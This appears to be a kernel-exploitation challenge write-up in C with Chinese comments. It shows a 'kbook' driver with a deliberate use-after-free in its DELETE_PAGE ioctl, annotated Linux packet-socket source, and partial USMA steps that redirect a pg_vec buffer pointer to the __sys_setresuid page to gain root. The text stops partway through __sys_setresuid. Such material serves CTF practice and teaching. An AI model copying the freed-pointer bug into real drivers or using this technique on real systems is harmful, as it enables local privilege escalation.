/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on Unknown 2023 - kbook
#include "linux/gfp_types.h"
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#define MAX_BOOK_NR 0x20
#define MAX_PAGE_BOOK_NR 0x20
#define KCACHE_SIZE 0x400

#define CHOOSE_BOOK 0x114
#define SET_PAGE 0x514
#define DELETE_PAGE 0x1919810

struct position_t {
	size_t book_index;
	size_t page_index;
};

size_t kbooks[MAX_BOOK_NR][MAX_PAGE_BOOK_NR];

static struct kmem_cache *kbook_jar = NULL;

static unsigned int major;
static struct class *kbook_class;
static struct cdev kbook_cdev;
static spinlock_t kbook_lock;

static int kbook_open(struct inode *inode, struct file *filp)
{
	filp->private_data = NULL;
	pr_info("[kbook:] Device open.\n");
	return 0;
}

static int kbook_release(struct inode *inode, struct file *filp)
{
	struct position_t *pos = (struct position_t *)filp->private_data;
	if (pos) {
		kfree(pos);
		filp->private_data = NULL;
	}
	pr_info("[kbook:] Device release.\n");
	return 0;
}

static ssize_t kbook_read(struct file *file, char __user *buffer, size_t count,
			  loff_t *ppos)
{
	ssize_t ret = 0;
	void *page = NULL;
	size_t max_size = KCACHE_SIZE;
	struct position_t *pos = (struct position_t *)file->private_data;
	if (!pos) {
		pr_info("[kbook:] You should firstly get a book!\n");
		return 0;
	}
	spin_lock(&kbook_lock);
	page = (void *)kbooks[pos->book_index][pos->page_index];
	if (!page) {
		page = kmem_cache_alloc(kbook_jar, GFP_KERNEL_ACCOUNT);
		if (!page) {
			pr_info("[kbook:] Out of memory.\n");
			ret = -EFAULT;
			goto out;
		}
		kbooks[pos->book_index][pos->page_index] = (size_t)page;
	}
	if (count < max_size) {
		max_size = count;
	}
	if (copy_to_user(buffer, page, max_size)) {
		pr_info("[kbook:] Failed to copy data to user space\n");
		ret = -EFAULT;
	}
out:
	spin_unlock(&kbook_lock);
	return ret;
}

static ssize_t kbook_write(struct file *file, const char __user *buffer,
			   size_t count, loff_t *ppos)
{
	ssize_t ret = 0;
	void *page = NULL;
	size_t max_size = KCACHE_SIZE;
	struct position_t *pos = (struct position_t *)file->private_data;
	if (!pos) {
		pr_info("[kbook:] You should firstly get a book!\n");
		return 0;
	}
	spin_lock(&kbook_lock);
	page = (void *)kbooks[pos->book_index][pos->page_index];
	if (!page) {
		page = kmem_cache_alloc(kbook_jar, GFP_KERNEL_ACCOUNT);
		if (!page) {
			pr_info("[kbook:] Out of memory.\n");
			ret = -EFAULT;
			goto out;
		}
		kbooks[pos->book_index][pos->page_index] = (size_t)page;
	}
	if (count < max_size) {
		max_size = count;
	}
	if (copy_from_user(page, buffer, max_size)) {
		pr_info("[kbook:] Failed to copy data from user space\n");
		ret = -EFAULT;
	}
out:
	spin_unlock(&kbook_lock);
	return ret;
}

static long kbook_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
	long ret = 0;
	struct position_t *pos = NULL;
	spin_lock(&kbook_lock);
	if (cmd == CHOOSE_BOOK) {
	    if (arg >= 0x20) {
		    pr_info("[kbook:] Invalid index of book!\n");
		    ret = -EFAULT;
		    goto out;
	    }
		pos = (struct position_t *)file->private_data;
		if (pos) {
			pr_info
			    ("[kbook:] The file descriptor had already been "
			     "bound to another book!\n");
			ret = -EFAULT;
			goto out;
		}
		pos = kmalloc(sizeof(struct position_t), GFP_KERNEL);
		if (!pos) {
			pr_info("[kbook:] Out of memory.\n");
			ret = -EFAULT;
			goto out;
		}
		pos->book_index = arg;
		pos->page_index = 0;
		file->private_data = (void *)pos;
		pr_info("[kbook:] Successfully chose the book [%ld].\n", arg);
	} else if (cmd == SET_PAGE) {
		if (arg >= 0x20) {
			pr_info("[kbook:] Invalid index of page!\n");
			ret = -EFAULT;
			goto out;
		}
		pos = (struct position_t *)file->private_data;
		if (!pos) {
			pr_info("[kbook:] You should firstly get a book!\n");
			ret = -EFAULT;
			goto out;
		}
		pos->page_index = arg;
		file->private_data = (void *)pos;
		pr_info("[kbook:] Successfully chose the page [%ld].\n", arg);
	} else if (cmd == DELETE_PAGE) {
		if (arg >= 0x20) {
			pr_info("[kbook:] Invalid index of page!\n");
			ret = -EFAULT;
			goto out;
		}
		pos = (struct position_t *)file->private_data;
		if (!pos) {
			pr_info("[kbook:] You should firstly get a book!\n");
			ret = -EFAULT;
			goto out;
		}
		if (kbooks[pos->book_index][arg]) {
			kfree((void *)kbooks[pos->book_index][arg]);
		}
		pr_info("[kbook:] Successfully deleted "
			"the page [%ld].\n", arg);
	} else {
		pr_info("[kbook:] Unknown ioctl cmd!\n");
		ret = -EINVAL;
	}
out:
	spin_unlock(&kbook_lock);
	return ret;
}

struct file_operations kbook_fops = {
	.owner = THIS_MODULE,
	.open = kbook_open,
	.release = kbook_release,
	.read = kbook_read,
	.write = kbook_write,
	.unlocked_ioctl = kbook_ioctl,
};

static int __init init_kbook(void)
{
	struct device *kbook_device;
	int error;
	dev_t devt = 0;

	error = alloc_chrdev_region(&devt, 0, 1, "kbook");
	if (error < 0) {
		pr_err("[kbook:] Can't get major number!\n");
		return error;
	}
	major = MAJOR(devt);
	pr_info("[kbook:] kbook major number = %d.\n", major);

	kbook_class = class_create("kbook_class");
	if (IS_ERR(kbook_class)) {
		pr_err("[kbook:] Error creating kbook class!\n");
		unregister_chrdev_region(MKDEV(major, 0), 1);
		return PTR_ERR(kbook_class);
	}

	cdev_init(&kbook_cdev, &kbook_fops);
	kbook_cdev.owner = THIS_MODULE;
	cdev_add(&kbook_cdev, devt, 1);
	kbook_device = device_create(kbook_class, NULL, devt, NULL, "kbook");
	if (IS_ERR(kbook_device)) {
		pr_err("[kbook:] Error creating kbook device!\n");
		class_destroy(kbook_class);
		unregister_chrdev_region(devt, 1);
		return -1;
	}
	spin_lock_init(&kbook_lock);
	kbook_jar =
	    kmem_cache_create_usercopy("kbook_jar", KCACHE_SIZE, 0,
				       SLAB_HWCACHE_ALIGN | SLAB_PANIC |
				       SLAB_ACCOUNT, 0, KCACHE_SIZE, NULL);
	if (!kbook_jar) {
		pr_info("[kbook:] kbook_jar create failed.\n");
		return -ENOMEM;
	}
	pr_info("[kbook:] kbook module loaded.\n");
	return 0;
}

static void __exit exit_kbook(void)
{
	if (kbook_jar) {
		kmem_cache_destroy(kbook_jar);
		pr_info("[kbook:] kbook_jar slab cache destroyed.\n");
	}
	unregister_chrdev_region(MKDEV(major, 0), 1);
	device_destroy(kbook_class, MKDEV(major, 0));
	cdev_del(&kbook_cdev);
	class_destroy(kbook_class);
	pr_info("[kbook:] kbook module unloaded.\n");
}

module_init(init_kbook);
module_exit(exit_kbook);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

size_t kbooks[MAX_BOOK_NR][MAX_PAGE_BOOK_NR];

struct position_t {
    size_t book_index;   // 8字节
    size_t page_index;   // 8字节
};

else if (cmd == DELETE_PAGE) {
    if (arg >= 0x20) {
        pr_info("[kbook:] Invalid index of page!\n");
        ret = -EFAULT;
        goto out;
    }
    pos = (struct position_t *)file->private_data;
    if (!pos) {
        pr_info("[kbook:] You should firstly get a book!\n");
        ret = -EFAULT;
        goto out;
    }
    if (kbooks[pos->book_index][arg]) {
        kfree((void *)kbooks[pos->book_index][arg]);
        // 漏洞点：此处缺少 kbooks[pos->book_index][arg] = 0;
    }
    pr_info("[kbook:] Successfully deleted the page [%ld].\n", arg);
}

struct pgv {
    char *buffer;  // 8字节，指向数据缓冲区的指针
    // 总大小: 8字节
};

// 尝试设置root权限
int result = setresuid(0, 0, 0);
if (result == 0) {
    // 系统调用成功执行
    printf("System call executed successfully\n");

    // 验证当前权限状态
    uid_t current_euid = geteuid();
    if (current_euid == 0) {
        printf("Current effective UID: 0 (root)\n");
        printf("Permission verification successful\n");
    } else {
        printf("Current effective UID: %d\n", current_euid);
        printf("Permission verification failed\n");
    }
} else {
    // 系统调用执行失败
    printf("System call failed: %s\n", strerror(errno));
    printf("Permission verification failed\n");
}

/*
 * 通用辅助函数。由于返回的地址无法表示高端内存页面，因此切勿与__GFP_HIGHMEM一起使用。
 * 如果需要访问高端内存，请使用alloc_pages然后进行kmap映射。
 */
unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order)
{
    struct page *page;                                  // 页面结构指针

    // 分配物理页面，清除__GFP_HIGHMEM标志以确保返回低端内存地址
    page = alloc_pages(gfp_mask & ~__GFP_HIGHMEM, order);
    if (!page)                                          // 检查页面分配是否成功
        return 0;                                       // 分配失败，返回0
    return (unsigned long) page_address(page);          // 返回页面的虚拟地址
}
EXPORT_SYMBOL(__get_free_pages);                        // 导出符号供其他模块使用

static char *alloc_one_pg_vec_page(unsigned long order)
{
    char *buffer;                                       // 缓冲区指针
    gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |         // 分配标志：内核内存、复合页
                      __GFP_ZERO | __GFP_NOWARN |       // 清零、不警告
                      __GFP_NORETRY;                    // 不重试

    // 首先尝试通过__get_free_pages分配连续物理页面
    buffer = (char *) __get_free_pages(gfp_flags, order);
    if (buffer)                                         // 检查分配是否成功
        return buffer;                                  // 成功，返回缓冲区地址

    // __get_free_pages失败，回退到vmalloc
    buffer = vzalloc(array_size((1 << order), PAGE_SIZE)); // 分配虚拟连续内存
    if (buffer)                                         // 检查分配是否成功
        return buffer;                                  // 成功，返回缓冲区地址

    // vmalloc失败，尝试允许回收内存
    gfp_flags &= ~__GFP_NORETRY;                        // 允许重试
    buffer = (char *) __get_free_pages(gfp_flags, order); // 再次尝试分配
    if (buffer)                                         // 检查分配是否成功
        return buffer;                                  // 成功，返回缓冲区地址

    return NULL;                                        // 完全失败，返回NULL
}

static int packet_setsockopt(struct socket *sock, int level, int optname,
                             sockptr_t optval, unsigned int optlen)
{
    struct sock *sk = sock->sk;                          // 获取socket对应的sock结构
    struct packet_sock *po = pkt_sk(sk);                 // 转换为packet_sock结构
    int ret;                                             // 返回值变量

    if (level != SOL_PACKET)                             // 检查选项层级是否为packet层级
        return -ENOPROTOOPT;                             // 非packet层级，返回协议不支持错误

    switch (optname) {                                   // 根据选项名称进行分发处理
    case PACKET_RX_RING:                                 // 设置接收环形缓冲区
    case PACKET_TX_RING:                                 // 设置发送环形缓冲区
    {
        union tpacket_req_u req_u;                       // 请求参数联合体，支持不同版本
        int len;                                         // 参数长度变量

        lock_sock(sk);                                   // 锁定socket，防止并发访问
        switch (po->tp_version) {                        // 根据TPACKET版本确定参数长度
        case TPACKET_V1:                                 // TPACKET版本1
        case TPACKET_V2:                                 // TPACKET版本2
            len = sizeof(req_u.req);                     // 使用传统req结构
            break;
        case TPACKET_V3:                                 // TPACKET版本3
        default:                                         // 默认版本
            len = sizeof(req_u.req3);                    // 使用扩展的req3结构
            break;
        }
        if (optlen < len) {                              // 检查用户提供的参数长度是否足够
            ret = -EINVAL;                               // 参数长度不足，返回无效参数错误
        } else {
            if (copy_from_sockptr(&req_u.req, optval, len))  // 从用户空间拷贝参数
                ret = -EFAULT;                           // 拷贝失败，返回默认错误
            else
                // 调用packet_set_ring函数设置环形缓冲区
                ret = packet_set_ring(sk, &req_u, 0, optname == PACKET_TX_RING);
        }
        release_sock(sk);                                // 释放socket锁
        return ret;                                      // 返回操作结果
    }
    // 其他选项处理代码省略...
    default:                                             // 未知选项处理
        return -ENOPROTOOPT;                            // 返回协议不支持错误
    }
}

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
                           int closing, int tx_ring)
{
    struct pgv *pg_vec = NULL;                          // pg_vec数组指针，初始化为NULL
    struct packet_sock *po = pkt_sk(sk);                // 获取packet_sock结构
    unsigned long *rx_owner_map = NULL;                 // 接收者映射位图指针
    int was_running, order = 0;                         // 运行状态和分配阶数
    struct packet_ring_buffer *rb;                      // 环形缓冲区指针
    struct sk_buff_head *rb_queue;                      // 缓冲区队列指针
    __be16 num;                                         // 原始设备号
    int err;                                            // 错误码变量
    struct tpacket_req *req = &req_u->req;              // 获取请求参数（简化处理）

    // 选择接收或发送环形缓冲区
    rb = tx_ring ? &po->tx_ring : &po->rx_ring;         // 根据方向选择环形缓冲区
    rb_queue = tx_ring ? &sk->sk_write_queue : &sk->sk_receive_queue;  // 选择对应队列

    err = -EBUSY;                                       // 设置默认错误码为设备忙
    if (!closing) {                                     // 如果不是关闭操作
        if (atomic_read(&po->mapped))                   // 检查是否已有内存映射
            goto out;                                   // 已有映射，跳转到结束
        if (packet_read_pending(rb))                    // 检查是否有未处理数据
            goto out;                                   // 有待处理数据，跳转到结束
    }

    if (req->tp_block_nr) {                             // 如果请求的块数量大于0
        unsigned int min_frame_size;                    // 最小帧大小变量

        // 参数验证：确保缓冲区尚未分配
        err = -EBUSY;
        if (unlikely(rb->pg_vec))                       // 检查pg_vec是否已分配
            goto out;                                   // 已分配，返回设备忙错误

        // 根据TPACKET版本设置头部长度
        switch (po->tp_version) {
        case TPACKET_V1:                                // TPACKET版本1
            po->tp_hdrlen = TPACKET_HDRLEN;             // 设置头部长度为V1版本
            break;
        case TPACKET_V2:                                // TPACKET版本2
            po->tp_hdrlen = TPACKET2_HDRLEN;            // 设置头部长度为V2版本
            break;
        case TPACKET_V3:                                // TPACKET版本3
            po->tp_hdrlen = TPACKET3_HDRLEN;            // 设置头部长度为V3版本
            break;
        }

        // 参数验证：基本参数检查
        err = -EINVAL;                                  // 设置错误码为无效参数
        if (unlikely((int)req->tp_block_size <= 0))     // 检查块大小是否有效
            goto out;                                   // 无效块大小，返回错误
        if (unlikely(!PAGE_ALIGNED(req->tp_block_size))) // 检查块大小是否页面对齐
            goto out;                                   // 未对齐，返回错误

        // 计算最小帧大小并验证帧大小参数
        min_frame_size = po->tp_hdrlen + po->tp_reserve; // 计算最小帧大小
        if (unlikely(req->tp_frame_size < min_frame_size)) // 检查帧大小是否足够
            goto out;                                   // 帧大小太小，返回错误
        if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1))) // 检查帧大小对齐
            goto out;                                   // 未对齐，返回错误

        // 计算帧相关参数
        rb->frames_per_block = req->tp_block_size / req->tp_frame_size; // 计算每块帧数
        if (unlikely(rb->frames_per_block == 0))        // 检查每块帧数是否有效
            goto out;                                   // 无效帧数，返回错误
        if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr)) // 检查溢出
            goto out;                                   // 可能溢出，返回错误
        if (unlikely((rb->frames_per_block * req->tp_block_nr) != req->tp_frame_nr))
            goto out;                                   // 帧数不匹配，返回错误

        // 分配内存
        err = -ENOMEM;                                  // 设置错误码为内存不足
        order = get_order(req->tp_block_size);          // 计算页面分配阶数
        pg_vec = alloc_pg_vec(req, order);              // 分配pg_vec数组和页面
        if (unlikely(!pg_vec))                          // 检查分配是否成功
            goto out;                                   // 分配失败，跳转到结束

        // 版本特定处理
        switch (po->tp_version) {
        case TPACKET_V3:                                // TPACKET版本3处理
            if (!tx_ring) {                             // 接收环形缓冲区
                init_prb_bdqc(po, rb, pg_vec, req_u);   // 初始化PRB块描述符队列控制
            } else {                                    // 发送环形缓冲区
                struct tpacket_req3 *req3 = &req_u->req3; // 获取V3请求参数
                // V3发送环形缓冲区不支持某些特性
                if (req3->tp_retire_blk_tov || req3->tp_sizeof_priv || req3->tp_feature_req_word) {
                    err = -EINVAL;                      // 不支持的特性，返回无效参数
                    goto out_free_pg_vec;               // 跳转到清理
                }
            }
            break;
        default:                                        // V1/V2版本处理
            if (!tx_ring) {                             // 接收环形缓冲区
                // 分配接收者映射位图
                rx_owner_map = bitmap_alloc(req->tp_frame_nr, GFP_KERNEL | __GFP_NOWARN | __GFP_ZERO);
                if (!rx_owner_map)                      // 检查分配是否成功
                    goto out_free_pg_vec;               // 分配失败，跳转到清理
            }
            break;
        }
    } else {                                            // 请求块数为0的情况
        err = -EINVAL;                                  // 设置错误码为无效参数
        if (unlikely(req->tp_frame_nr))                 // 检查是否有帧请求
            goto out;                                   // 有帧请求但无块，返回错误
    }

    // 分离socket与网络
    spin_lock(&po->bind_lock);                          // 获取绑定锁
    was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING); // 检查是否正在运行
    num = po->num;                                      // 保存当前设备号
    if (was_running) {                                  // 如果正在运行
        WRITE_ONCE(po->num, 0);                         // 清空设备号
        __unregister_prot_hook(sk, false);              // 注销协议钩子
    }
    spin_unlock(&po->bind_lock);                        // 释放绑定锁

    synchronize_net();                                  // 同步网络操作，确保无并发

    // 交换缓冲区
    err = -EBUSY;                                       // 设置错误码为设备忙
    mutex_lock(&po->pg_vec_lock);                       // 获取pg_vec锁
    if (closing || atomic_read(&po->mapped) == 0) {     // 检查是否可以交换
        err = 0;                                        // 可以交换，设置成功
        spin_lock_bh(&rb_queue->lock);                  // 获取队列锁
        swap(rb->pg_vec, pg_vec);                       // 交换pg_vec数组
        if (po->tp_version <= TPACKET_V2)               // V1/V2版本
            swap(rb->rx_owner_map, rx_owner_map);       // 交换接收者映射
        rb->frame_max = (req->tp_frame_nr - 1);         // 设置最大帧索引
        rb->head = 0;                                   // 重置头部指针
        rb->frame_size = req->tp_frame_size;            // 设置帧大小
        spin_unlock_bh(&rb_queue->lock);                // 释放队列锁

        // 更新缓冲区参数
        swap(rb->pg_vec_order, order);                  // 交换分配阶数
        swap(rb->pg_vec_len, req->tp_block_nr);         // 交换数组长度
        rb->pg_vec_pages = req->tp_block_size / PAGE_SIZE; // 计算每块页面数

        // 更新接收函数
        po->prot_hook.func = (po->rx_ring.pg_vec) ? tpacket_rcv : packet_rcv;

        skb_queue_purge(rb_queue);                      // 清空队列

        if (atomic_read(&po->mapped))                   // 检查是否已有映射
            pr_err("packet_mmap: vma is busy: %d\n", atomic_read(&po->mapped));
    }
    mutex_unlock(&po->pg_vec_lock);                     // 释放pg_vec锁

    // 重新注册协议钩子
    spin_lock(&po->bind_lock);                          // 获取绑定锁
    if (was_running) {                                  // 如果之前正在运行
        WRITE_ONCE(po->num, num);                       // 恢复设备号
        register_prot_hook(sk);                         // 注册协议钩子
    }
    spin_unlock(&po->bind_lock);                        // 释放绑定锁

    // V3版本特定清理
    if (pg_vec && (po->tp_version > TPACKET_V2)) {      // V3版本
        if (!tx_ring)                                   // 接收环形缓冲区
            prb_shutdown_retire_blk_timer(po, rb_queue); // 关闭定时器
    }

out_free_pg_vec:                                        // 清理标签
    if (pg_vec) {                                       // 如果有分配的pg_vec
        bitmap_free(rx_owner_map);                      // 释放接收者映射
        free_pg_vec(pg_vec, order, req->tp_block_nr);   // 释放pg_vec数组
    }
out:                                                    // 退出标签
    return err;                                         // 返回错误码
}

// pgv结构体，表示单个内存块
struct pgv {
    char *buffer;                                      // 指向数据缓冲区的指针，USMA技术的关键控制点
};

// packet环形缓冲区结构体
struct packet_ring_buffer {
    struct pgv *pg_vec;                                // pgv数组指针，包含所有内存块的描述符
    unsigned int head;                                 // 环形缓冲区头部索引，指示下一个可读/写位置
    unsigned int frames_per_block;                     // 每个内存块包含的帧数
    unsigned int frame_size;                           // 单个帧的大小（字节）
    unsigned int frame_max;                            // 最大帧索引，等于总帧数减1
    unsigned int pg_vec_order;                         // 页面分配阶数，决定每个buffer的大小（2^order页）
    unsigned int pg_vec_pages;                         // 每个buffer包含的页面数
    unsigned int pg_vec_len;                           // pg_vec数组的长度，等于内存块数量
    unsigned int __percpu *pending_refcnt;             // 每个CPU的挂起引用计数，用于同步
    union {                                            // 版本特定数据联合体
        unsigned long *rx_owner_map;                   // V1/V2版本：接收者映射位图
        struct tpacket_kbdq_core prb_bdqc;            // V3版本：块描述符队列核心结构
    };
};

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
    unsigned int block_nr = req->tp_block_nr;           // 获取请求的内存块数量
    struct pgv *pg_vec;                                 // pg_vec数组指针
    int i;                                              // 循环索引

    // 分配pg_vec数组内存
    pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
    if (unlikely(!pg_vec))                              // 检查分配是否成功
        goto out;                                       // 分配失败，跳转到返回

    // 为每个pg_vec元素分配物理页面
    for (i = 0; i < block_nr; i++) {
        pg_vec[i].buffer = alloc_one_pg_vec_page(order); // 分配单个内存块
        if (unlikely(!pg_vec[i].buffer))               // 检查页面分配是否成功
            goto out_free_pgvec;                       // 分配失败，跳转到清理
    }

out:                                                    // 返回标签
    return pg_vec;                                      // 返回分配的pg_vec数组

out_free_pgvec:                                         // 清理标签
    free_pg_vec(pg_vec, order, block_nr);               // 释放已分配的pg_vec
    pg_vec = NULL;                                      // 将指针设为NULL
    goto out;                                           // 跳转到返回
}

static void free_pg_vec(struct pgv *pg_vec, unsigned int order, unsigned int len)
{
    int i;                                              // 循环索引

    for (i = 0; i < len; i++) {                         // 遍历每个内存块
        if (likely(pg_vec[i].buffer)) {                 // 检查buffer是否有效
            if (is_vmalloc_addr(pg_vec[i].buffer))      // 检查是否为vmalloc分配
                vfree(pg_vec[i].buffer);                // 释放vmalloc内存
            else
                free_pages((unsigned long)pg_vec[i].buffer, order); // 释放物理页面
            pg_vec[i].buffer = NULL;                    // 清空指针
        }
    }
    kfree(pg_vec);                                      // 释放pg_vec数组
}

static int packet_mmap(struct file *file, struct socket *sock,
                       struct vm_area_struct *vma)
{
    struct sock *sk = sock->sk;                         // 获取socket对应的sock结构
    struct packet_sock *po = pkt_sk(sk);                // 转换为packet_sock结构
    unsigned long size, expected_size;                  // 映射大小变量
    struct packet_ring_buffer *rb;                      // 环形缓冲区指针
    unsigned long start;                                // 映射起始地址
    int err = -EINVAL;                                  // 错误码，初始为无效参数
    int i;                                              // 循环索引

    if (vma->vm_pgoff)                                  // 检查映射偏移，必须为0
        return -EINVAL;                                 // 偏移非0，返回无效参数

    mutex_lock(&po->pg_vec_lock);                       // 获取pg_vec锁，防止并发修改

    expected_size = 0;                                  // 初始化预期大小
    // 计算接收和发送环形缓冲区的总大小
    for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) { // 遍历接收和发送环形缓冲区
        if (rb->pg_vec) {                               // 如果缓冲区已分配
            expected_size += rb->pg_vec_len             // 数组长度
                          * rb->pg_vec_pages            // 每块页面数
                          * PAGE_SIZE;                  // 页面大小
        }
    }

    if (expected_size == 0)                             // 检查是否已分配缓冲区
        goto out;                                       // 未分配，跳转到结束

    size = vma->vm_end - vma->vm_start;                 // 计算请求的映射大小
    if (size != expected_size)                          // 验证大小是否匹配
        goto out;                                       // 大小不匹配，跳转到结束

    start = vma->vm_start;                              // 获取用户空间映射起始地址
    // 遍历接收和发送环形缓冲区
    for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) { // 遍历接收和发送环形缓冲区
        if (rb->pg_vec == NULL)                         // 检查缓冲区是否已分配
            continue;                                   // 未分配，跳过当前缓冲区

        // 遍历pg_vec数组中的每个元素
        for (i = 0; i < rb->pg_vec_len; i++) {          // 遍历每个内存块
            struct page *page;                          // 页面结构指针
            void *kaddr = rb->pg_vec[i].buffer;         // 获取buffer指针
            int pg_num;                                 // 页面索引

            // 将buffer指向的每个页面映射到用户空间
            for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) { // 遍历每个页面
                page = pgv_to_page(kaddr);              // 虚拟地址转物理页面
                err = vm_insert_page(vma, start, page); // 插入页面到用户空间
                if (unlikely(err))                      // 检查插入是否成功
                    goto out;                           // 失败，跳转到结束
                start += PAGE_SIZE;                     // 更新映射地址
                kaddr += PAGE_SIZE;                     // 更新内核地址
            }
        }
    }

    atomic_inc(&po->mapped);                            // 增加映射计数
    vma->vm_ops = &packet_mmap_ops;                     // 设置VMA操作结构
    err = 0;                                            // 设置成功返回码

out:                                                    // 退出标签
    mutex_unlock(&po->pg_vec_lock);                     // 释放pg_vec锁
    return err;                                         // 返回操作结果
}

int vm_insert_page(struct vm_area_struct *vma, unsigned long addr, struct page *page)
{
    if (addr < vma->vm_start || addr >= vma->vm_end)    // 检查地址是否在VMA范围内
        return -EFAULT;                                 // 地址无效，返回错误
    if (!page_count(page))                              // 检查页面引用计数
        return -EINVAL;                                 // 页面无效，返回错误
    if (!(vma->vm_flags & VM_MIXEDMAP)) {               // 检查VMA是否允许混合映射
        BUG_ON(mmap_read_trylock(vma->vm_mm));          // 确保已持有mmap锁
        BUG_ON(vma->vm_flags & VM_PFNMAP);              // 确保不是PFN映射
        vm_flags_set(vma, VM_MIXEDMAP);                 // 设置混合映射标志
    }
    return insert_page(vma, addr, page, vma->vm_page_prot); // 调用底层插入函数
}
EXPORT_SYMBOL(vm_insert_page);

static int insert_page(struct vm_area_struct *vma, unsigned long addr,
                       struct page *page, pgprot_t prot)
{
    int retval;                                         // 返回值
    pte_t *pte;                                         // 页表项指针
    spinlock_t *ptl;                                    // 页表锁指针

    retval = validate_page_before_insert(page);         // 验证页面有效性
    if (retval)                                         // 检查验证结果
        goto out;                                       // 验证失败，跳转到结束
    retval = -ENOMEM;                                   // 设置错误码为内存不足
    pte = get_locked_pte(vma->vm_mm, addr, &ptl);       // 获取页表项和锁
    if (!pte)                                           // 检查页表项是否有效
        goto out;                                       // 无效，跳转到结束
    retval = insert_page_into_pte_locked(vma, pte, addr, page, prot); // 插入页面
    pte_unmap_unlock(pte, ptl);                         // 释放页表项和锁
out:                                                    // 退出标签
    return retval;                                      // 返回结果
}

static int validate_page_before_insert(struct page *page)
{
    if (PageAnon(page) || PageSlab(page) || page_has_type(page)) // 检查页面类型
        return -EINVAL;                                 // 匿名页、Slab页或特殊类型页不允许
    flush_dcache_page(page);                            // 刷新数据缓存确保一致性
    return 0;                                           // 验证通过
}

static int insert_page_into_pte_locked(struct vm_area_struct *vma, pte_t *pte,
                                       unsigned long addr, struct page *page, pgprot_t prot)
{
    if (!pte_none(ptep_get(pte)))                       // 检查页表项是否已占用
        return -EBUSY;                                  // 已占用，返回设备忙错误
    // 成功，插入页面
    get_page(page);                                     // 增加页面引用计数
    inc_mm_counter(vma->vm_mm, mm_counter_file(page));  // 增加内存计数器
    page_add_file_rmap(page, vma, false);               // 添加反向映射
    set_pte_at(vma->vm_mm, addr, pte, mk_pte(page, prot)); // 设置页表项
    return 0;                                           // 返回成功
}

// 创建packet socket描述符
int packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // 创建原始包socket
if (packet_fd < 0) {                                   // 检查socket创建是否成功
    perror("创建packet socket失败");                    // 输出错误信息
    return -1;                                         // 返回错误代码
}

// 配置环形缓冲区参数
struct tpacket_req req = {                             // 环形缓冲区请求结构
    .tp_block_size = 4096,                             // 设置块大小为4KB（一页）
    .tp_block_nr = 1,                                  // 设置块数量为1
    .tp_frame_size = 4096,                             // 设置帧大小为4KB
    .tp_frame_nr = 1                                   // 设置帧数量为1
};

// 设置接收环形缓冲区
int ret = setsockopt(packet_fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (ret < 0) {                                         // 检查设置是否成功
    perror("设置环形缓冲区失败");                         // 输出错误信息
    close(packet_fd);                                  // 关闭socket
    return -1;                                         // 返回错误代码
}

// 假设可以控制pg_vec数组的内存内容
struct pgv *pg_vec = /* 通过操作获取的pg_vec指针 */;

// 计算目标内核函数页面地址
unsigned long target_func_addr = (unsigned long)&__sys_setresuid; // 获取目标函数地址
unsigned long target_page_addr = target_func_addr & ~(PAGE_SIZE - 1); // 计算页面对齐地址

// 关键步骤：重定向buffer指针指向目标内核页面
pg_vec[0].buffer = (char *)target_page_addr;           // 修改buffer指针

long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
    struct user_namespace *ns = current_user_ns();      // 获取当前用户命名空间
    const struct cred *old;                             // 旧凭证指针
    struct cred *new;                                   // 新凭证指针
    int retval;                                         // 返回值
    kuid_t kruid, keuid, ksuid;                         // 内核UID表示
    bool ruid_new, euid_new, suid_new;                  // UID变化标志

    // 关键点1: 用户空间UID转换为内核UID
    kruid = make_kuid(ns, ruid);                        // 转换真实UID
    keuid = make_kuid(ns, euid);                        // 转换有效UID
    ksuid = make_kuid(ns, suid);                        // 转换保存的UID

    // 参数有效性验证
    if ((ruid != (uid_t) -1) && !uid_valid(kruid))      // 验证真实UID
        return -EINVAL;                                 // 无效，返回错误
    if ((euid != (uid_t) -1) && !uid_valid(keuid))      // 验证有效UID
        return -EINVAL;                                 // 无效，返回错误
    if ((suid != (uid_t) -1) && !uid_valid(ksuid))      // 验证保存的UID
        return -EINVAL;                                 // 无效，返回错误

    old = current_cred();                               // 获取当前进程凭证

    // 检查是否无需更改UID（无操作检查）
    if ((ruid == (uid_t) -1 || uid_eq(kruid, old->uid)) &&
        (euid == (uid_t) -1 || (uid_eq(keuid, old->euid) &&
                                uid_eq(keuid, old->fsuid))) &&
        (suid == (uid_t) -1 || uid_eq(ksuid, old->suid)))
        return 0;                                       // 无需更改，直接返回

    // 检查UID是否发生了变化
    ruid_new = ruid != (uid_t) -1        && !uid_eq(kruid, old->uid) &&
               !uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid);
    euid_new = euid != (uid_t) -1        && !uid_eq(keuid, old->uid) &&
               !uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid);
    suid_new = suid != (uid_t) -1        && !uid_eq(ksuid, old->uid) &&
               !uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid);

    // 关键点2: 权限检查逻辑
    if ((ruid_new || euid_new || suid_new) &&           // 如果有UID变化
        !ns_capable_setid(old->user_ns, CAP_SETUID))    // 且没有CAP_SETUID能力
